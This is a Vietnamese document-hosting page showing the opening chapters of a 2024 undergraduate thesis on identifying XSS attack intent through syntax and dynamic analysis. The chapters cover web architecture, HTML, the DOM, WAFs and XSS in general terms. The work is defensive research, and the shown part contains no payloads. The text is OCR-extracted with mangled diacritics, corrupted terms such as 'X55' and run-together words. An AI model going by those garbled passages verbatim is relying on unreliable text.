1. Trang chủ
  2. » Luận Văn - Báo Cáo

Khóa luận tốt nghiệp Kỹ thuật phần mềm: Phương pháp nhận diện ý định tấn công XSS dựa vào phân tích cú pháp và phân tích động

77 0 0
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Phương pháp nhận diện ý định tấn công XSS dựa vào phân tích cú pháp và phân tích động
Tác giả Võ Hoàng Khánh, Phan Quang Khải
Người hướng dẫn ThS. Nghi Hoàng Khoa, ThS. Ngô Khánh Khoa
Trường học Đại học Công nghệ thông tin - Đại học Quốc gia Thành phố Hồ Chí Minh
Chuyên ngành Cử nhân ngành An toàn thông tin
Thể loại khóa luận tốt nghiệp
Năm xuất bản 2024
Thành phố Hồ Chí Minh
Định dạng
Số trang 77
Dung lượng 69,59 MB

Nội dung

Phương pháp mới này hứa hẹn mang lại một công cụ hiệu quả trong việc phát hiện và ngăn chặn các cuộc tấn công XSS, góp phần nâng cao mức độ an toàn cho các ứng dụng web... Phương phaép n

Trang 1

VO HOANG KHANH PHAN QUANG KHAI

KHOA LUAN TOT NGHIEP

PHUGNG PHAP NHAN DIEN Y DINH TAN CONG XSS DUA

VAO PHAN TICH CU PHAP VA PHAN TICH DONG

INTENTION ESTIMATION OF XSS ATTACK BASED ON

SYNTAX ANALYSIS AND DYNAMIC ANALYSIS

CU NHAN NGANH AN TOAN THONG TIN

GIANG VIEN HUGNG DAN:

ThS NGHI HOANG KHOA Ths NGO KHANH KHOA

TP.H6 Chi Minh - 2024

Trang 2

LỜI CAM ĐOAN

Chúng tôi cam đoan luận văn “Phương pháp nhận diện ý định tấn công

XSS dựa vào phân tích cú pháp va phân tích động” là công trình nghiên

cứu của chính chúng tôi.

Chúng tôi cam đoan các kết quả, các số liệu được nêu ra trong luận văn làtrung thực, chưa có tác giả nào nghiên cứu hoặc công bố trước đây Các côngtrình, đề tài được dùng làm tài liệu tham khảo, làm cơ sở hoàn thiện luận văn

này được trích dẫn đúng theo quy định.

Hà Chí Minh, ngay 20 tháng 06 năm 2024

Phan Quang Khải Võ Hoàng Khanh

Trang 3

LOI CAM ON

Trước hết, chúng tôi xin chan thành cảm ơn Ban Giám hiệu, Phong Dao tao đại học, Khoa Mang máy tính - Truyền thông va Quý Thay, Cô tại Trường Dai học Công nghệ thông tin - Đại học Quốc gia Thành phố Chí Minh đã tạo mọi

điều kiện thuận lợi giúp tôi trong thời gian học tập và hoàn thành luận văn

Trong suốt quá trình nghiên cứu và hoàn thành khóa luận tốt nghiệp, nhóm

đã may mắn nhận được sự định hướng, giúp đỡ, các ý kiến đóng góp quý báu

cùng những lời động viên chân thành từ các Giảng viên hướng dẫn và Giảng

viên bộ môn.

Nhóm muốn gửi lời cảm ơn chân thành nhất tới Thầy ThS Nghi Hoàng

Khoa và Thầy ThS Ngô Khánh Khoa vì sự tận tâm và nhiệt tình trong

việc hướng dẫn và hỗ trợ nhóm trong suốt quá trình nghiên cứu và thực hiệnkhóa luận Sự chỉ bảo và động viên của hai thầy đã giúp nhóm vượt qua nhiều

khó khăn và thử thách.

Dù cho đề tài này có thể chưa đạt được sự hoàn hảo như mong đợi, nhưng nhóm đã nỗ lực hết mình và luôn hy vọng rằng sẽ có cơ hội để hoàn thiện và cải

thiện nó trong tương lai Nhóm xin chân thành cảm ơn các Thay, Cô

Hà Chí Minh, ngày 20 tháng 06 năm 2024

Phan Quang Khải Võ Hoàng Khanh

Trang 4

MỤC LỤC

LỜI CAM ĐOAN_ vo i LOICAMON 0000000002 eee eee ii

MỤC LUC ee iii

DANH MỤC CÁC KÝ HIỆU, CAC CHU VIET TAT vi

DANH MỤC CÁC HINH VE vii

DANH MUC CAC BANG BIBU viii

MỞ ĐẦU ge |

CHƯƠNG 1 TONG QUAN 2 11 Giới thiệu van đề v2 2 1.2 Tính cấp thiét của vân đề 2 Ọ%./ ⁄ 2

1.3 Các nghiên cứu liên quan 4

1.3.1 Phương pháp nhận diện ý định SQL injection |4| 4

1.3.2 Khao sát về tấn công XSS|9] 4

1.3.3 Phương pháp tấn công tổ hợp XSSing [3] 5

1.4 Mục tiêu, đối tượng, và phạm vi nghiên cứu 5

1.41 Muc tiéunghién ctu 5

1.4.2 Đối tượng nghién cứu 6

1.4.3 Phạm vi nghincỨu Ặ co 7 1.5 Cấu trúc khóa luận tốt nghiệp 7

CHƯƠNG 2 CO SỞ LY THUYET 9 2.1 Ungdungweb 0.00.00 v2 9 2.1.1 Kiến trúc của ứng dung web 10

2.1.2 Giới thiệu về HyperText Markup Language (HTML) 12

2.1.3 Cấu trúc một trang HTML 12

Trang 5

2.2 Ngôn ngữ lập trình scripting .0.0 13

2.2.1 Lợi ích của việc sử dung ngôn ngữ scripting 14

2.2.2 Một vài nhược điểm của ngôn ngữ scripting 14

2.3.1 Lợi ích của Javascript trong việc phát triển và lập trình web 15

2.3.2 Lập trình client-side 2.00.0 15 2.3.3 Lập trình server-side 0 15

2.4 Giới thiệu về Document Object Model (DOM) 16

2.4.1 Tại sao cần có DOM 0 2 000 16

2.4.2 Cách biểu diễn va các phương thức thao tác của DOM 17

2.5 Giới thiệu về Web Application Firewall(WAF) 19

2.6 Giới thiệu về XS eG NN Swe 20

CHƯƠNG 3 TONG QUAN VE DEEPBIN-INSPECTOR MÔ

HÌNH PHAT HIEN SU TƯƠNG DONG MA NHI

PHAN DUA TREN HOC SAU 32

3.1 Phương pháp nhận diện ý định tấn cong XSS 32

3.1.1 Vấn đề đặtra ee 32

3.1.2 Tổng quan về phương pháp - 33

Trang 6

3.1.3 Phân tích cúphấp co

3.1.4 Dán nhãn 2 2 000000004

3.1.5 Phân tich déng 0040.

3.1.6 Phân loại ý định 00 000 eee CHƯƠNG 4 THÍ NGHIEM VA DANH GIÁ 4.1 Hiện thực 0.00000 ee ee 4.1.1 Cai đặt công cu và môi trường

4.1.2 Tap dữ liệu đấnhgiá

4.1.3 Môi trường thực nghiệm

4.2 Kết quả thực nghiệm và đánh giá

4.2.1 Kịch bản thực nghiệm

4.2.2 Kết quả thực nghiệm

4.2.3 Đánh giá thực nghiệm

CHƯƠNG 5 KẾT LUẬN

5.1 Kết luận

5.2 Hướng phat triỂn Q.2

TÀI LIỆU THAM KHẢO

49

49

49

56

9í 57 57

59 62

63

63 64

66

Trang 7

DANH MỤC CÁC KÝ HIỆU, CÁC CHỮ VIET TAT

X55 Cross-Site Scripting SQL Structured Query Language

HTML HyperText Markup Language

DOM ~ Document Object Model WAF ~~ Web Application Firewall

Trang 8

Hình 1.1

Hình 1.2

Hình 2.1

Hình 2.2

Hình 2.3

Hình 2.4

Hình 2.5

Hình 2.6

Hình 2.7

Hình 2.8

Hình 2.9

Hình 2.10

Hình 2.11

Hình 2.12

Hình 2.13

Hình 3.1

Hình 3.2

Hình 3.3

Hình 3.4

Hình 3.5

Hình 3.6

Hình 3.7

Hình 3.8

Hình 3.9

vil

DANH MUC CAC HINH VE

Sự tang lên của tấn công XSS theo từng nim 3

So sánh các lỗ hồng trong năm 2024 3

Một số khung (framework) lập trình web 9

Ví dụ HTML 13

Biễu diễn tài liệu HTML quaDOM 18

Web Application EFirewall 20

Vi du về các bước khai thác lỗ hổng Stored X8S 22

Ví dụ attacker chèn HTML vào phần bình luận 23

Ví dụ về các bước khai thác lỗ hổng Reflected XSS 24

Ví dụ về các bước khai thác lỗ hổng DOM-based XSS 26

Ví dụ về các bước khai thác lỗ hổng DOM-based XSS 27

Vi dụ về các bước khai thác lỗ hổng DOM-based XSS 27

Vi dụ về các bước khai thác 16 hổng DOM-based XSS 28

Trang login Microsoft giả mạo 29

Defacement 000 ee eee 30 XSS recon trên web Amazon 000 33 Cảnh báo XSS trên Palo Alo 33

Mô hình tổng quan của phương pháp đề xuất 34

Token split Q1 xa 36 Semanticrule 2200000000 00004 38

DOM change log 00.0000 ee eee 42 Selenium result 0.000000 000000000000 04 44

Trang 9

Hình 3.10 Intention rule so 45 Hình 3.11 Login form code ch 46 Hình 3.12 Loginform so 46 Hình 3.13 Login link ho 47

Hình 41 Damn Vulnerable Web Application 50

Hình 4.3 Result payload so 51

Hình 4.4 Luong hoạt động của công cỤ 58 Hình 45 Kết quacongcu 2 0.0.0 ee 59

Trang 10

DANH MỤC CÁC BANG BIEU

Phương thức thao tác của DOM_ 19

Bang token trong phân tích cú pháp 35

Bảng điều kiện Ốc 39

Tập dữ liệu nội bộ 57

Kết quả thực nghiệm tập dữ liệu nội bộ 60Kết quả thực nghiệm tập dữ liệu thực tế deepXSS 61

Trang 11

TÓM TẮT KHÓA LUẬN

Trong bồi cảnh các ứng dụng web ngày càng phổ biến, các lỗ hong bảo mật liên quan đến chúng cũng gia tăng, trong đó nổi bật nhất là tấn công Cross-Site

Scripting (XSS) Khóa luận nay đề xuất một phương pháp nhận diện ý định tấn

công XSS dựa vào phân tích cú pháp và phân tích động.

Mục tiêu chính của phương pháp này là xác định chính xác mục đích của cáccuộc tấn công, từ đó giúp các chuyên gia bảo mật rút ngắn đáng kể thời gian

phản ứng và khắc phục hậu quả Kết quả nghiên cứu cho thấy phương pháp này

đạt được tỷ lệ nhận diện chính xác cao trên hai tập dữ liệu: tập dữ liệu có dán

nhãn và tập dữ liệu không dấn nhãn.

Phương pháp mới này hứa hẹn mang lại một công cụ hiệu quả trong việc

phát hiện và ngăn chặn các cuộc tấn công XSS, góp phần nâng cao mức độ an

toàn cho các ứng dụng web.

Trang 12

CHƯƠNG 1 TONG QUAN

Chương này giới thiệu về van đề chúng tôi sé nghiên cứu và các nghiên cứu

đã có trước đó Đồng thời chúng tôi trình bày phạm vi và cấu trúc của Khóa

luận.

1.1 Giới thiệu vấn đề

Hiện nay, ứng dụng web đã trở thành một trong những nền tảng tiêu chuẩn

để trình bày dit liệu và cung cấp các dich vụ trực tuyến Với sự gia tăng của việc

sử dụng các ứng dụng web, chúng đồng thời trở thành mục tiêu quan trọng cho

các 16 hổng liên quan đến web Trong số những cuộc tấn công chủ yếu, Cross-Site

Scripting (X98) nổi lên như một loại tấn công tiêm nhiễm (injection) phổ biến

trong các ứng dụng web hiện đại Các tình huống này có thể bị khai thác thông

qua việc tiêm mã JavaScript vào trang web, tạo điều kiện cho những hậu quả

nguy hiểm.

1.2 Tính cấp thiết của vấn đề

Theo thị trường và sự phổ biến của ứng dụng web, số liệu thống kê về lỗ hong

XSS là ấn tượng Chúng chiếm một phần lớn trong tổng số các lỗ hổng bảo mật

được báo cáo hàng năm Trong hình 1.1 và hình 1.2, chúng ta có cái nhìn tổng quan về các số liệu thống kê từ trang web www.cvedetails.com về các lỗ hong

được báo cáo theo từng năm (tính đến tháng 6/2024).[10|

Trang 13

Vulnerabilities by type & year

30,000

25,000 20,000

SSRF XXE

CSRF File inclusion

Overflow meœxriox

(Œ@ Memory corruption

@B SQL injection

qm xss 8ï Directory traversal (Œ@ File inclusion

Rõ ràng, tấn công XSS là một trong những mối đe dọa nghiêm trọng nhất

trên Internet Sự phức tap và phổ biến của XSS đặt ra thách thức lớn cho các

nhà nghiên cứu bảo mật, yêu cầu họ phải không ngừng tìm kiếm các biện pháp

phòng ngừa và phát triển các giải pháp hiệu quả để bảo vệ người dùng và dữ

liệu.

Trang 14

1.3 Các nghiên cứu liên quan

1.3.1 Phương phaép nhận diện Ú định SQL injection [4]

Ngữ cảnh: nhiều ứng dụng web lưu trữ thong tin quan trọng, chang han

như dữ liệu cá nhân của khách hàng, một trong những cuộc tấn công phổ biến

và nghiêm trọng nhất là SQL injection, nhằm rò rỉ thông tin từ các cơ sở dữ

liệu (DBs).

Đặt vấn đề: tường lửa ứng dụng web sử dụng cơ chế dựa trên chữ ký (signatures) để phát hiện và ngăn chặn các cuộc tấn công Tuy nhiên, cơ chế này có hạn chế vì có thể ngăn chặn những yêu cầu hợp lệ một cách không cần

thiết và chủ yếu chỉ được sử dụng trong việc phát hiện, chứ không phải ngăn

chặn Việc ngăn chặn thường được thực hiện thủ công.

Phương pháp tác giả đề xuất: xây dựng một giải pháp rút ngắn thời gian

phân loại các cuộc tan công SQL injection, thông qua việc xác định loại ý địnhtấn công dựa trên phan tích cú pháp và phân tích động các truy vấn SQL trongcác yêu cầu HT'TP.|4|

Cụ thể, phương pháp này xác định ý định tấn công dựa trên nhiều quy tắc

được xác định trước, giúp các nhà điều hành máy chủ web không cần phân tích

thủ công các cuộc tấn công SQLi Thay vào đó, họ có thể nhanh chóng xác định

ý định và thực hiện hành động dựa trên thông tin đã được thu thập.

Dây cũng chính là nền tảng cho ý tưởng để nhóm tác giả phát triển phương

pháp nhận diện ý định tấn công SQL injection

1.3.2 Khảo sát vé tan công XSS [9]

Dé phát triển phương pháp nhận diện ý định tấn công XSS hiệu quả, việc

hiểu rõ các loại tấn công XSS và phân loại đúng các ý định tấn công là điều tiên

quyết

Theo |9], tác động của tấn công XSS có thể được liệt kê như sau:

Trang 15

e Thay đổi nội dung của ứng dung web.

e Dánh cắp cookie phiên.

e Dánh cắp hoặc mạo danh danh tính người dùng.

e Chiếm đoạt phiên HTTP của người dùng.

Nghiên cứu này là nền tảng giúp nhóm chúng tôi xác định các đặc điểm quan

trọng của cuộc tấn công và xây dựng phương pháp kết hợp phân tích cú pháp

và phân tích động.

1.3.3 Phương pháp tắn công tổ hợp XSSing [3]

Trong bài báo "Combinatorially XSSing Web Application Firewalls", các tác

giả đã phát triển một mô hình ngữ pháp tiên tiến để tạo ra các vectơ tấn công

XSS phức tạp và đa dạng Ngữ pháp tấn công được xây dựng một cách ti mi,

bao gồm các quy tắc và cau trúc cú pháp nhằm tạo ra các đoạn mã độc hại có

khả năng vượt qua các bộ lọc của tường lửa ứng dụng web (WAF).

Các tác giả đã tập trung vào việc kết hợp các yếu tố khác nhau như JavaScript,

HTML tags, và các sự kiện trên trình duyệt để tạo ra các vectơ tấn công.[3]

Nghiên cứu này là nền tảng cho chúng tôi có một cách tiếp cận mới mẻ vàtoàn diện trong việc phân tích cú pháp các cuộc tấn công X88

1.4 Mục tiêu, đối tượng, và phạm vi nghiên cứu

1.4.1 Mục tiêu nghiên cứu

Trong phạm vi nghiên cứu, nhóm đề xuất phát triển và đánh giá một phương

pháp mới nhằm nhận diện ý định tấn công XSS dựa trên phân tích cú pháp và

phân tích động Phương pháp này kết hợp hai kỹ thuật để cải thiện độ chính

xác và hiệu quả trong việc nhận diện ý định các cuộc tan công XSS

Các mục tiêu cụ thé bao gom:

Trang 16

e Tìm hiểu cách thức hoạt động, trình bày của một website, các kỹ thuật tấn

công và bảo mật website.

e Nghiên cứu và phân tích các kỹ thuật tấn công XSS hiện đại, bao gồm cả

những kỹ thuật tấn công và cách các câu lệnh tác động lên trang web.

e Xây dựng một công cụ phân tích cú pháp để phân tích các tải trọng

(pay-loads) được chèn vào.

e Xây dựng một thuật toán hoặc phương pháp phân tích động để phát hiện

các hoạt động không bình thường của mã JavaScript trong quá trình thực

thi.

e Kết hợp kỹ thuật phân tích cú pháp và phân tích động để tạo thành một

phương pháp phát hiện tấn công XSS toàn diện

e Dánh giá hiệu quả của phương pháp bằng cách sử dụng các bộ dit liệu thử

nghiệm

e Áp dụng phương pháp phát hiện tấn công XSS đã phát triển vào các ứng

dụng web thực tế để đánh giá khả năng áp dụng và độ tin cậy của nó trong

môi trường sản xuất

1.4.2 Đối tượng nghiên cứu

e Lỗ hồng XSS và các kĩ thuật khai thác XSS

e Ki thuật phân tích cú pháp

e Ki thuật phân tích động

e Các ý định của kẻ tấn công khi thực hiện khai thác XSS.

e Dựng môi trường khai thác, các ứng dụng web chứa nguy cơ XSS.

Trang 17

1.4.2 Pham vi nghién cứu

Pham vi thời gian:

Luận văn nay được thực hiện từ ngày 26/2/2024 đến 30/6/2024 Thời gian

này sẽ bao gồm từ quá trình nghiên cứu cơ bản, phát triển công cụ và phương

pháp, đến thực hiện thử nghiệm và đánh giá hiệu quả

Phạm vi không gian:

Nghiên cứu sẽ tập trung vào môi trường web thực nghiệm.

Phạm vi nội dung:

Nghiên cứu sẽ bao gồm các khía cạnh như phân tích các kỹ thuật tấn công

XSS hiện đại, phát triển công cụ tự động để phân tích cú pháp mã nguồn, nghiên cứu và áp dụng các phương pháp phân tích động để giám sát thực thi

mã JavaScript, xác định và phân tích các ý định tan công

1.5 Cau trúc khóa luận tốt nghiệp

Chúng tôi trình bày nội dung của khóa luận theo cấu trúc như sau:

e Chương 1 Tổng quan

Giới thiệu tổng quan về đề tài của khóa luận tốt nghiệp, mục tiêu, đối tượng

và phạm vi nghiên cứu.

e Chương 2 Cơ sở lý thuyết

Trình bày cơ sở lý thuyết và công nghệ liên quan đến XSS và các phương

pháp phát hiện và nhận diện ý định tấn công XSS.

e Chương 3 Phương pháp nhận diện ý định tấn công XSS dựa vào

phan tích cú pháp va phan tích động

Trình bày về phương pháp và công nghệ được áp dụng để phân tích cú pháp

và động cho việc nhận diện tấn công XSS.

Trang 18

e Chương 4 Thí nghiệm và đánh giá

Thực nghiệm và đánh giá hiệu quả của phương pháp đề xuất.

e Chương 5 Kết luận

Tổng kết, đánh giá kết quả và hướng phát triển trong tương lai.

Trang 19

CHƯƠNG 2 CƠ SỞ LÝ THUYẾT

2.1 Ứng dụng web

Ứng dụng web (web application) là một phần mềm hoặc chương trình máy

tính được thiết kế để chạy trên trình duyệt web.

Các ứng dụng web được phân phối trên World Wide Web tới người dùng có

kết nối mang đang hoạt động.|6]

Ứng dụng web có thể cung cấp các dịch vụ như mạng xã hội, mua sắm trực

tuyến hoặc các dịch vụ ngân hàng trực tuyến Các ứng dụng web phổ biến ngày

nay bao gồm Gmail, Facebook, Amazon

Trang 20

2.1.1 Kiến trúc của ứng dựng tueb

Ứng dụng web hoạt động dựa trên kiến trúc client-server, nghĩa là sẽ có các

xử lý được thực hiện tại phía client (client-side), và có các xử lý được thực hiện

6 phía server (server-side).

Một ứng dung web thường được chia thành ba phần chính: client-side,

e HTML (HyperText Markup Language): Ñgôn ngữ đánh dấu được sử

dụng để tạo cấu trúc và nội dung cho trang web HTML xác định các

phần tử như tiêu đề, đoạn văn, liên kết, biểu mẫu, và các thành phần

khác.

e CSS (Cascading Style Sheets): Ngôn ngữ định kiểu được sử dụng để

mô tả cách trình bày HTML trên trang web CSS xác định giao điện

trực quan của các phần tử HTML, bao gồm màu sắc, phông chữ, bố

cục, và các hiệu ứng khác.

e JavaScript: Ngôn ngữ lập trình được sử dụng để tạo ra các tính năng

động và tương tác trên trang web JavaScript có thể thay đổi nội dungHTML, thao tác với CSS, xử lý sự kiện người dùng, và thực hiện các

yêu cầu bất đồng bộ (AJAX) đến server

e Frameworks và Libraries: Các thư viện và khung làm việc như React,

Angular, và Vue.js giúp phát triển ứng dụng web nhanh hơn và dễ

dang hơn bằng cách cung cấp các công cụ và cấu trúc sẵn có.

Trang 21

Các xử lý tai client-side bao gồm việc gửi yêu cầu tới server, nhận mã HTML,

CSS và JavaScript từ server, thực thi mã và hiển thị kết quả cho người dùng.

2.1.1.2 Server-side

Server-side (back-end) là nơi xử lý logic nghiệp vụ va quản lý dữ liệu của ứng

dụng Đây là phần mà người dùng không nhìn thấy nhưng rất quan trọng để

đảm bảo ứng dụng hoạt động đúng cách Các thành phần chính của server-sidebao gồm:

e Server: Máy chủ lưu trữ ứng dụng và xử lý các yêu cầu từ client Các

ngôn ngữ pho biến để phát triển phía server bao gồm Node.js, Django,Ruby on Rails, và ASP.NET.

e Database: Cơ sở dit liệu lưu trữ va quan lý dữ liệu của ứng dung.

Các hệ quản trị cơ sở dit liệu pho biến bao gồm MySQL, PostgreSQL,MongoDB, va Microsoft SQL Server.

e Server-Side Logic: Chita các logic nghiệp vụ và xử lý dữ liệu trước khi

trả lại kết quả cho client

Các xử lý tại server-side bao gồm việc nhận yêu cầu do client gửi tới, làm việcvới cơ sở dữ liệu, xử lý yêu cầu, trả kết quả về cho client

2.1.1.8 Giao thúc mang

Giao thức mạng là tập hợp các quy tắc và tiêu chuẩn cho việc truyền dữ liệu qua mạng, đảm bảo rằng các thành phần client-side và server-side có thể giao

tiếp hiệu quả và an toàn

e HTTP/HTTPS: Giao thức truyền tải siêu văn bản là nền tảng của

truyền thông web HTTPS là phiên bản bảo mat của HTTP, sử dụng

mã hóa SSL/TLS để bảo vệ dữ liệu.

Trang 22

e WebSockets: Giao thức cung cấp kênh giao tiếp hai chiều toàn thời

gian giữa server va client, thường được sử dụng cho các ứng dụng thời

gian thực như chat hoặc game.

e RESTful APIs: Kiến trúc dịch vụ web phổ biến cho phép giao tiếp

giữa client và server thông qua các phương thức HTTP như GET, POST, PUT, và DELETE.

e GraphQL: Ngôn ngữ truy van dữ liệu linh hoạt và hiệu quả hon REST,

cho phép client yêu cầu chính xác dữ liệu cần thiết.

2.1.2 Giới thiệu vé HyperText Markup Language (HTML)

HTML là ngôn ngữ tiêu chuẩn dùng để tạo các trang web HTML là sự kết

hợp của Hypertext (định nghĩa liên kết giữa các trang web) và Markup (định

nghĩa các tài liệu văn bản trong các tag để cấu trúc và định dạng một trang web), các tag được sử dụng để định nghĩa các thao tác sẽ được thực hiện trênvăn bản.

2.1.3 Cấu trúc một trang HTML

HTML sử dụng các thẻ và phần tử được xác định trước để hướng dẫn trình duyệt hiển thị nội dung HTML bao gồm thẻ đóng, thẻ mở và nội dung giữa haithẻ đó.

Lay ví dụ một đoạn mã HTML như sau:

Trang 23

Hinh 2.2: Vi dụ HTML

e <!DOCTYPE html>: khai báo loại tài liệu mà ở đây là HTML.

e <html>: phần tử gốc của html, tất cả phần tử định nghĩa mot trong

đó.

e <head>: head tag bao gồm các phần tử bên trong của trang web và

không được hiển thị ở phần front-end.

e <title>: tag này đặt tiêu đề cho trang web.

e <body>: tag này bao gồm tất cả nội dung sẽ được hiển thị trên trang

web.

Ngoài ra còn rất nhiều tag khác được sử dụng trong thiết kế web, tham khảo

day: https:/ /developer.mozilla.org/en-US/docs/Web/HTML/Element

2.2 Ngôn ngữ lập trình scripting

Ngôn ngữ scripting là loại ngôn ngữ mà máy tính có thực thi trực tiếp từ

mã nguồn mà không cần thông qua quá trình biên dịch Các ngôn ngữ như

Trang 24

Javascript (được giới thiệu ở phần tiếp theo) thường được nhúng trực tiếp vào

mã nguồn HTML của trang web và chay trên trình duyệt khi người dùng truy

cập trang web đó.

2.2.1 Lợi ích của viéc sử dung ngôn ngữ scripting

e Dễ học và sử dụng: script sử dụng các câu lệnh và cú pháp đơn giản.

e Khong cần biên dịch: các thông tin trong script cần phải chuyển thành

mã nhị phân và đươhc thông dịch bởi trình thông dịch, do đó tiết kiệm

được rất nhiều thời gian để thực thi đươc code.

e Khả năng mở rộng các chức năng và dịch vụ một cách linh hoạt.

e Tìm và sửa lỗi một cách dễ dàng: nhờ các công cụ debug trên trình

thông dịch giúp phát hiện nhanh chóng và sửa lỗi trực tiếp trên mã

nguồn

2.2.2 Một vai nhược điểm của ngôn ngữ scripting

e Bảo mật kém: mã nguồn được lưu trữ dưới dạng văn bản và có thể dễ

dang truy cập, làm tăng nguy cơ bị tấn công và khai thác

e Phụ thuộc vào trình thông dịch: script chỉ chạy đúng với trình thông

dịch của nó gây ra nhiều vấn đề tương thích giữa các thiết bị và hệ

thống khác nhau.

e Hiệu năng kém đối với các hệ thống lớn và phức tạp: không thích hợp

đối với các hệ thống đòi hỏi hiệu năng cao và phức tạp về mặt tính

toán.

Trang 25

2.3 Giới thiệu về Javascript

Javascript là ngôn ngữ lập trình đơn luồng và đa nền tang, Javascript còn

được gọi là ngôn ngữ kịch ban (scripting) tương tự như Python.

Javascript được sử dụng để phát triển web ở client-side cũng như server-side.

Javascript vừa là ngôn ngư mệnh lệnh vừa là ngôn ngữ khai báo Javascript chứa

một thư viện chuẩn gồm các đối tượng, câu trúc điều khiển và câu lệnh.

Client-side: Javascript cung cấp các đối tượng để điều khiển trình duyệt và

mô hình DOM và phản hồi lai các sự kiện của người dùng như nhấp chuột, nhập

biếu mẫu và điều hướng trang

Server-side: Javascript cung cấp các đối tượng liên quan đến thực thi scripttrên server Javascript cho phép ứng dụng giao tiếp với cơ sở dữ liệu và cung cấp

thông tin liên tục từ lệnh gọi đến lệnh gọi khác của ứng dụng hoặc thực hiện

các thao tác tệp trên server.

2.3.1 Lợi ích của Javascript trong viéc phat triển va lập trinh web

2.3.2 Lập trinh client-side

e Tương tác với bộ nhớ tam thời.

e Tương tác với bộ nhớ cục bộ.

e Gửi yêu cầu dữ liệu đến máy chủ.

e Hoạt động như một giao diện giữa máy chủ và người dùng.

e Tạo các trang web tương tác.

2.3.38 Lập trinh server-side

e Truy vấn co sở dit liệu.

e Thao tác trên cơ sở dit liệu.

Trang 26

e Thao tác với tệp trên máy chủ.

e Tương tác với các máy chủ khác.

e Xử lí dữ liệu đầu vào của người dùng.

2.4 Giới thiệu về Document Object Model (DOM)

DOM là model giao diện lập trình cho các tài liệu HTML va XML DOM đại

diện cho cấu trúc của trang web, nó định nghĩa các đặc tính cơ bản và hành vi

của các thẻ HTLM , cho phép các đoạn mã Javascript truy cập, thao tác cũngnhư thay đổi nội dung, cấu trúc của trang web một cách linh hoạt.

Vì vậy, cơ cơ bản DOM như mot API đại diện giúp tương tác với các tài liệu

HTML và XML.

2.4.1 Tai sao cần có DOM

Khi một tệp HTML được tải vào trình duyệt, các đoạn mã cient-side Javascriptkhông thể hiểu trực tiếp tài liệu HTML mà phải diễn giải và tương tác với nóthông qua DOM.

Về cơ bản DOM như một biểu diễn của tài liệu HTML nhưng dưới dạng cây cấu trúc bao gồm các đối tượng Javascript không hiểu được thé <al></al> trong HTML nhưng lại có thể hiểu đối tượng a1 trong DOM.

Mô hình DOM rất cần thiết trong việc lập trình và phát triển web vì những

lí đó sau:

e Khả năng tương tác: nhanh chóng phản hồi lại các hành động của

người dùng và sửa đổi trang web cho phù hơp.

e Tao trang web động: cho phép Javascript truy cập và thao tác nội

dung, kiểu trang một cách linh hoạt giúp tăng độ tương tác và phản

hồi một cách nhanh chóng.

Trang 27

e Cập nhật: câp nhật nội dung mà không cần phải tải lại toàn bộ trang,

DOM cho phép thay đổi các thành phần cụ thể giúp cập nhật nhanhchóng và thân thiện với người dùng hơn.

e Khả năng tương thích: DOM cung cấp cách tiêu chuẩn hóa điển hiện

HTML và CSS ở nhiều trình duyệt và thiết bị khác nhau.

2.4.2 Cách biểu diễn va các phương thức thao tác của DOM

DOM được thể hiện bằng cấu trúc cây (Tree) hoặc Forest (nhiều hơn một

cây) Mỗi nhánh của cây kết thúc bằng một nút và mỗi nút chứa các đối tượng.

Trình xử lý sự kiện có thể được thêm vào các nút và được kích hoạt khi xảy ra

một sự kiện nhất định Một thuộc tính quan trọng của các mô hình cấu trúc

DOM là tính dang cấu cấu trúc : nếu bất kỳ hai triển khai DOM nào được sử dụng để tạo ra một biểu diễn của cùng một tài liệu, chúng sẽ tạo ra cùng một

mô hình cấu trúc, với các đối tượng và mối quan hệ giống hệt nhau

Ví dụ một đoạn HTML có cấu trúc như sau:

<table> <info> <h1> <name>Khai</name> <surname>Phan< /surname>

</hl> <b2> <name>Khanh</name> <surname>Phan< /surname> </b2>

</info> </table>

Cấu trúc sẽ được biểu diễn qua DOM như sau:

Trang 28

CO Laer) Cm)

Hình 2.3: Biéu diễn tài liệu HTML qua DOM

DOM sử nhiều phương thức khác nhau để thao tác với các tài liệu, sau day

là một số phương thức thường được sử dụng:

Trang 29

Bang 2.1: Phương thúc thao tác của DOM

Phương pháp Mô tảWrite() Viết chuỗi đã cho vào tài liệu

getElementByld() Trả về phan tử có giá trị ID da cho

getElementByld() Tra về phan tử có tên đã cho

getElementsByTagName() | Trả về phần tử có tên thẻ đã chogetElementsByClassName() | Trả về phần tử có tên lớp đã cho

open() Mở HTML output stream để lay dữ

liệu đầu ra từ document.write()

close() Đóng output stream đã được mở

trước đó bởi document.write()

2.5 Giới thiệu về Web Application Firewall (WAF)

WAF là một giải pháp bảo vệ các ứng dung web bang cách giám sát các luồnggiao tiếp HTTP giữa ứng dụng web và Internet WAF hoạt động như một láchắn giữa server và mạng bên ngoài giúp phát hiện ngăn chặn các các thức như

SSRF, X55, SQL mnjection,

WAF hoạt động thông qua một tập rule được gọi là chính sách (policies),

WAF quan sát luồng giao tiếp và kết hợp chính sách để loc ra các sự kiện, dữ

liệu đáng ngờ, từ đó cảnh báo cho người dùng và đưa ra cách xử lí phù hơp.

Hình 2.4 mô tả cách thức hoạt động của WAF.

Trang 30

người dùng Khai thác lỗi XSS cho phép attacker lấy được thông tin về trình

duyệt như cookie, session tokens hoặc thông tin nhạy cảm của người dùng nhưtài khoản đăng nhập , ngoài ra attacker còn có thể thay đổi nội dung trang web.

Đây là trường hợp nguy hiểm có thể ảnh hưởng nghiêm trọng đến người sở hữu

trang web cũng như những người truy cập.

Hình thức phổ biến nhất của khai thác lỗ hồng XSS là chèn các đoạn mã

Javascript vào phần nhập dữ liệu (input) của người dùng hoặc URL của trangweb Khi người dùng khác truy cập các trang web đã bị khác và các thành phần

bị ảnh hưởng, đoạn mã sẽ được thực thi dẫn đến các thiệt hại không mong muốn

Những nguyên nhân phổ biến khiến các trang web dễ bị khai thác XSS bao

gồm:

e Lấy dữ liệu người dùng nhập vào và gửi trực tiếp đến backend mà

Trang 31

không thông qua bất kì phương pháp xác thực cũng như mã hóa nào

e Chưa xử lí được hết bugs logic còn tồn tại

e Không tuân theo các chính sách tiêu chuẩn về bảo mật như CSP

(Content Security Policy).

2.7 Cac hình thức khai thác XSS

Khai thác XSS có thể chia làm ba loại chính: Stored XSS, Reflected XSS và

DOM-based XSS Trong đó Stored XSS,Reflected XSS liên quan đến server-sidecủa web, còn DOM-based XSS liên quan đến client-side của web

2.7.1 Stored XSS

